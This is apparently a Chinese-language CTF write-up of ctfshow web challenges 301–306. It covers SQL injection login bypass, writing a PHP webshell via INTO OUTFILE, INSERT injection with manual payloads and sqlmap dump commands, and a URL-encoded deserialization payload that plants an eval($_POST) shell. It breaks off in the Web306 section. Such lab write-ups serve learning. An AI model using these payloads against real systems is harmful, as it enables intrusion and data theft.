Web301
在源代码中 以下一处存在sql语句
方法一:联合查询注入
在联合查询并不存在得数据时,联合查询就会构造一个虚拟得数据就相当于构造了一个虚拟账户,可以使用这个账户登录。
平常我们联合注入得时候一般是这样得payload:?id=1 and 1=2 union select 1,database()#。会给两个回显位1 数据库名称。这个1是哪里来的呢,就是...select 1...1`创建得虚拟数据1
同时在同文件的第17行if(!strcasecmp($userpwd,$row['sds_password']))
strcasecmp是进行比较字符串,满足条件就能登录,如果str10;相等返回0- 账号:-1' union select 1#密码:1
复制代码
方法二:sql写shell- 账号:-1' union select "" into outfile "/var/www/html/shell.php"#密码:1
复制代码
方法三:非预期
bp抓包访问index.php
方法四:利用strcasecmp数组绕过根据前面的写shell,我们可以phpinfo()一下看一下php版本(7.3.22)
当 strcasecmp 的参数为数组时:
- PHP 7.4 及以下:函数会返回 NULL,在条件判断中被视为 false。
- PHP 8.0 及以上:会触发 E_WARNING 并返回 0(视为相等)。
所以可以利用数组进行绕过
Web302
根据题目
方法一:依旧可以用sql写shell
方法二:联合注入
但需要稍微改一下payload
md5(md5('1'.md5(base64_encode("sds")))."sds")- 账号:-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#密码:1
复制代码 方法三:依旧是非预期
Web303(insert注入)
审计源码后,发现在dptadd.php中提示了注入点。
但是需要我们带着cookie进行访问,所以需要先登录
在checklogin.php中
结合fun.php
我们可以看出来账号和密码都是admin进行登录
然后去访问dptadd.php 会给我们一个返回语句
结合源码- $sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";$result=$mysqli->query($sql);echo $sql;
复制代码 无过滤的insert注入
然后可以手工注入也可以直接进行sqlmap跑
python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" -p dpt_name --batch -D sds -T sds_fl9g -C flag --dump
手工注入:- 查表名dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#查字段dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#查值dpt_name=1',sds_address=(select flag from sds_fl9g)#
复制代码 可以在dpt.php下看到
Web304(有过滤的insert注入)
相比上一题增加了全局waf- function sds_waf($str){ return preg_match('/[0-9]|[a-z]|-/i', $str);}
复制代码 但似乎环境并没有做过滤
依旧能用上面一样的打法
python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" --batch -p dpt_name -D sds -T sds_flaag -C flag --dump
Web305(反序列化file_put_contents写入文件)
相比前面一题在fun.php中过滤很多,也就不能用之前的方法了。但他新增了class.php- class user{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __destruct(){ file_put_contents($this->username, $this->password); }}
复制代码 同时在checklogin.php中调用了这个
所以这题是反序列化漏洞- O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%22%3B%7D
复制代码 在登陆的时候抓包,并在Cookie后面加上user和我们的反序列化串
然后用蚁剑连接
但是发现没有找到flag
但是在连接上的蚁剑中conn.php给了我们数据库的一些信息
然后回到shell,右键的数据操作
找到flag位置,点击执行
ctfshow{c8cade8c-a2d1-485b-a0ab-1320d1cc6dca}
Web306
审计源码
这次反序列化的注入点在index.php下
然后去看dao.php
可以看到存在__destruct()方法,那么就是从这入手
调用了class.php下的log类的close方法
然后在这个方法中存在file_put_contents()也就是写入函数
[code] |